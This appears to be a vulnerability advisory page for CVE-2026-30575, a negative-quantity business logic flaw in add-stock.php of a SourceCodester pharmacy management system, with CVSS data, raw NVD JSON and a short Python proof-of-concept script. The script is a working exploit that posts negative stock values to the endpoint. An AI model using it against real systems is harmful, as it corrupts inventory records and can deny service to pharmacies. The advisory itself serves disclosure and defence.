Security Vulnerability Report
中文
CVE-2026-30575 CVSS 7.5 HIGH

CVE-2026-30575

Published: 2026-03-27 17:16:29
Last Modified: 2026-03-31 17:59:06

Description

A Business Logic vulnerability exists in SourceCodester Pharmacy Product Management System 1.0 in the add-stock.php file. The application fails to validate the "txtqty" parameter during stock entry, allowing negative values to be processed. This causes the system to decrease the inventory level instead of increasing it, leading to inventory corruption and potential Denial of Service by depleting stock records.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:senior-walter:web-based_pharmacy_product_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Pharmacy Product Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-30575 # Exploit: Business Logic Error allowing negative stock quantity import requests def exploit_negative_stock(target_url, product_id, negative_qty): # The vulnerable endpoint url = f"{target_url}/add-stock.php" # Payload with negative quantity data = { "product_id": product_id, "txtqty": negative_qty } try: response = requests.post(url, data=data) if response.status_code == 200: print(f"[+] Request sent. Stock decreased by {abs(negative_qty)}.") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}") # Usage # exploit_negative_stock("http://target.com", "1", "-100")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30575", "sourceIdentifier": "[email protected]", "published": "2026-03-27T17:16:28.947", "lastModified": "2026-03-31T17:59:06.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Business Logic vulnerability exists in SourceCodester Pharmacy Product Management System 1.0 in the add-stock.php file. The application fails to validate the \"txtqty\" parameter during stock entry, allowing negative values to be processed. This causes the system to decrease the inventory level instead of increasing it, leading to inventory corruption and potential Denial of Service by depleting stock records."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:senior-walter:web-based_pharmacy_product_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "DB2DA030-DE10-4DA9-86D7-3E3E9A22DABC"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Pharmacy-Product-Management-System/Logic-AddStock-NegativeQty.md", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}